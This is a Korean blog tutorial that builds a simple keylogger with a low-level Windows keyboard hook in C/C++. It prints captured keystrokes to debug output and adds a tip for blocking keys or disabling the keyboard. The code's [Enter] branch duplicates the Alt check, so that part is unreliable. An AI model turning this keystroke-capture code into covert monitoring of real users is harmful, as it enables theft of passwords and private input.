이 영역을 누르면 첫 페이지로 이동
웬디의 기묘한 이야기 블로그의 첫 페이지로 이동

웬디의 기묘한 이야기

페이지 맨 위로 올라가기

웬디의 기묘한 이야기

C/C++ Windows Hooking 개발자의 블로그 입니다! 이곳은 개발 외에도 저의 취미들이 공유되는 기묘한 이야기가 펼쳐집니다.

[C/C++] 키보드 메시지 후킹을 이용한 키로거 만들기

  • 2019.07.27 00:04
  • ⌨ DEVELOPMENT/WIndows Hooking
반응형

Windows Keyboard Message Hooking

마우스 후킹 포스팅이 끝나자마자 이번엔 키보드 후킹입니다. 키보드 후킹은 예로부터 악의적인 목적으로 많이 사용이 되어왔지만, 순기능으로 활용할 수 있기때문에 키로거에 대해 한번 알아보도록 하겠습니다.

 

마우스 후킹에 대해 궁금하신분은 저번 포스팅을 참고하세요

https://wendys.tistory.com/111

 

[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)

마우스 후킹을 이용한 매크로 프로그램 제작 저번 포스팅에 이어 이번에도 마우스 후킹에 관련된 내용입니다. 아직 못 보셨다면 기본 마우스 후킹에 대한 내용을 보시고 보셔도 좋습니다. https://wendys.tistory...

wendys.tistory.com

키보드 후킹

키보드 후킹의 기본은 사용자의 입력 -> 시스템으로 전달 -> 응용프로그램으로 전달 의 순서로 동작을 하게 되는데, 이때 시스템에서 응용프로그램으로 값을 전달하는 시점에 키보드 데이터를 가로채서 변조 또는 차단 혹은 키 데이터를 기록하는 등의 행위를 하는 방법입니다.

 

 

How to keyboard hooking

키보드 후킹도 마우스 후킹과 마찬가지로 SetWindowsHookExW API를 사용하게 됩니다.

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

 

SetWindowsHookExA function (winuser.h)

Installs an application-defined hook procedure into a hook chain.

docs.microsoft.com

마우스 후킹때처럼 WH_KEYBOARD와 WH_KEYBOARD_LL 중 Low Level Event를 전달받을 수 있는 WH_KEYBOARD_LL 이벤트를 전달받을 예정입니다.

 

Keyboard Hooking Source

bool attach(
    __in HINSTANCE module
    ) {
    _hook = SetWindowsHookExW(WH_KEYBOARD_LL, proxy_function, module, 0);
    return _hook != nullptr;
}

 

LRESULT hook_keyboard_callback::new_function(
    __in int code,
    __in WPARAM wparam,
    __in LPARAM lparam
    ) {

    do {
        if (code < HC_ACTION) {
            break;
        }

        KBDLLHOOKSTRUCT* keyboard_param = (KBDLLHOOKSTRUCT*)lparam;
        if (WM_KEYDOWN == wparam) {

            //
            // VK CODE : https://docs.microsoft.com/ko-kr/windows/win32/inputdev/virtual-key-codes
            //

            if (0x00 < keyboard_param->vkCode && 0xFF > keyboard_param->vkCode) {
                const char key = keyboard_param->vkCode;

                std::string log_message;

                if (GetAsyncKeyState(VK_LCONTROL) & 0x8000 || GetAsyncKeyState(VK_RCONTROL) & 0x8000) {
                    log_message.append("[Ctrl]");
                }
                else if (GetAsyncKeyState(VK_LSHIFT) & 0x8000 || GetAsyncKeyState(VK_RSHIFT) & 0x8000) {
                    log_message.append("[Shift]");
                }
                else if (GetAsyncKeyState(VK_LMENU) & 0x8000 || GetAsyncKeyState(VK_RMENU) & 0x8000) {
                    log_message.append("[Alt]");
                }
                else if (GetAsyncKeyState(VK_LMENU) & 0x8000 || GetAsyncKeyState(VK_RMENU) & 0x8000) {
                    log_message.append("[Enter]");
                }
                else {
                    // ...
                }

                if (0x30 <= keyboard_param->vkCode && 0x5A >= keyboard_param->vkCode) {
                    log_message.push_back(key);
                }
                else if(VK_BACK == keyboard_param->vkCode) {
                    log_message.append("[Backspace]");
                }
                else {
                    // ...
                }

                OutputDebugStringA(log_message.c_str());
            }
        }

    } while (false);

    return ::CallNextHookEx(_hook, code, wparam, lparam);
}

키보드 후킹에서는 KBDLLHOOKSTRUCT* 값이 전달되어 오게되는데, 구조체를 보면 다음과 같은 구조를 가지고 있습니다.

typedef struct tagKBDLLHOOKSTRUCT {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

여기서 가장 중요한 vkCode는 어떤 키가 눌렸는지를 확인할 수 있으며, KV_LBUTTON (0x01) ~ KV_OEM_CLEAR (0 xFE)까지 입력되어 들어올 수 있습니다.

위의 키 중 조합키로 넘어오는 경우는 따로따로 처리를 해주어야 합니다. 처음 컨트롤 키를 누르면 vkCode = VK_LCONTROL 이벤트가 들어오게 되고 그 상태에서 A 키를 누르게 되면 vkCode = 'A'가 들어있게 됩니다.

 

[Ctrl] + 'A'를 눌렀다고 판단을 하기 위해선 어떻게 처리를 해주어야 할까요?

이때 사용하는 API가 GetAsyncKeyState입니다. 근데 위에 사용했을 때 왜 GetAsyncKeyState(Key & 0x8000) 처리를 해주었을까요?

바로 해당 함수의 사용법입니다. 0x8000 값은 현재 키가 눌려져 있는지 상태 값을 나타내게 되고 0x0001 은 저번 호출 시점과 이번 호출 사이에 키가 눌려진 적이 있는지 확인하기 위한 값입니다.
키로거에서는 이전에 눌려졌던 상태는 필요 없기 때문에 0x8001 값을 체크할 필요가 없습니다.

 

TIP MSDN에서는 현재 키보드 상태 값을 확인할 필요가 있는 경우 GetKeyState가 아닌 GetAsyncKeyState의 사용을 권장하고 있습니다. GetAsyncKeyState는 실제 키보드 값을 가져오고 GetKeyState는 메시 지큐에 따라 값이 변할 수 있기 때문입니다.

 

Sample

 

 

테스트를 한번 해보았습니다. 키보드 보안 프로그램 등이 실행 중인 경우에는 소용이 없겠지만, 위와 같이 했을 때 다음과 같이 키보드 입력을 캡처할 수 있었습니다.

 

TIP 만약 특정 키를 입력할 수 없도록 하거나, 키보드를 먹통으로 만들고싶다면 CallNextHookEx를 호출하기 전에 return 1 처리를 통하여 간단하게 처리할 수 있습니다.

반응형

'⌨ DEVELOPMENT > WIndows Hooking' 카테고리의 다른 글

[C++] 최고의 API Hooking Library MS Detours.  (1) 2019.12.07
[Hooking] dll injection을 이용하여 다른 프로세스에 dll 로드하기  (0) 2019.11.16
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)  (2) 2019.07.25
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동 방향 및 각도 구하기)  (0) 2019.07.23
[C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동거리 계산하기)  (2) 2019.07.23
[C/C++] 윈도우 메시지 후킹 마우스를 지배하는자 (windows mouse message hooking)  (1) 2019.07.21
[C/C++] 윈도우 후킹을 하기 전에 알아야 할 DLL Main에서 하면 안되는 5가지 작업  (2) 2019.07.16
[C/C++] 윈도우 메시지 가로채기 기법 (windows message hooking)  (0) 2019.07.14

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [C++] 최고의 API Hooking Library MS Detours.

    [C++] 최고의 API Hooking Library MS Detours.

    2019.12.07
  • [Hooking] dll injection을 이용하여 다른 프로세스에 dll 로드하기

    [Hooking] dll injection을 이용하여 다른 프로세스에 dll 로드하기

    2019.11.16
  • [C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)

    [C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마무리)

    2019.07.25
  • [C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동 방향 및 각도 구하기)

    [C/C++] 윈도우 마우스 후킹으로 제스처 인식 프로그램 만들기 (마우스 이동 방향 및 각도 구하기)

    2019.07.23
다른 글 더 둘러보기

정보

웬디의 기묘한 이야기 블로그의 첫 페이지로 이동

웬디의 기묘한 이야기

  • 웬디의 기묘한 이야기의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록
  • 이야기

카테고리

  • 분류 전체보기 (204)
    • MY STORY (2)
    • 📸 WALKING WITH YOU (85)
      • 아이슬란드 신혼여행 이야기 (14)
      • 대한민국 구석구석 (62)
      • CONTAX N1 + T* 28-80mm (4)
      • SAMSUNG NX3000 (1)
      • 어느 멋진 날 (4)
    • ⌨ DEVELOPMENT (80)
      • BOOK:Review (1)
      • AI (13)
      • C++ (26)
      • Python (10)
      • WIndows Hooking (9)
      • Windows Kernel (3)
      • Design Pattern (3)
      • Debugging (9)
      • Tools (0)
      • Project (1)
      • Android (1)
      • 상업용 무료폰트 (4)
    • OS (4)
      • News (0)
      • Windows 일반 (4)
    • 모바일 (2)
      • 모바일 게임 (2)
    • 멘사 퍼즐 (9)
    • 생활 꿀 TIP (7)
      • 건강 (3)
      • 일상 (2)
    • 물생활 (8)
      • 골든볼 라미네지 롱핀 (8)
    • IT 기기 (2)
    • BLOG (4)
      • TISTORY BLOG TIP (3)

최근 글

인기 글

댓글

공지사항

아카이브

태그

  • 해외여행
  • c
  • c++
  • 신혼여행
  • AI
  • windbg
  • 아이슬란드
  • 카페

나의 외부 링크

  • kernel undocument api
  • 지구 관찰자의 일기
  • 지구와 지구곰

정보

WENDYS의 웬디의 기묘한 이야기

웬디의 기묘한 이야기

WENDYS

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. © WENDYS. Designed by Fraccino.

티스토리툴바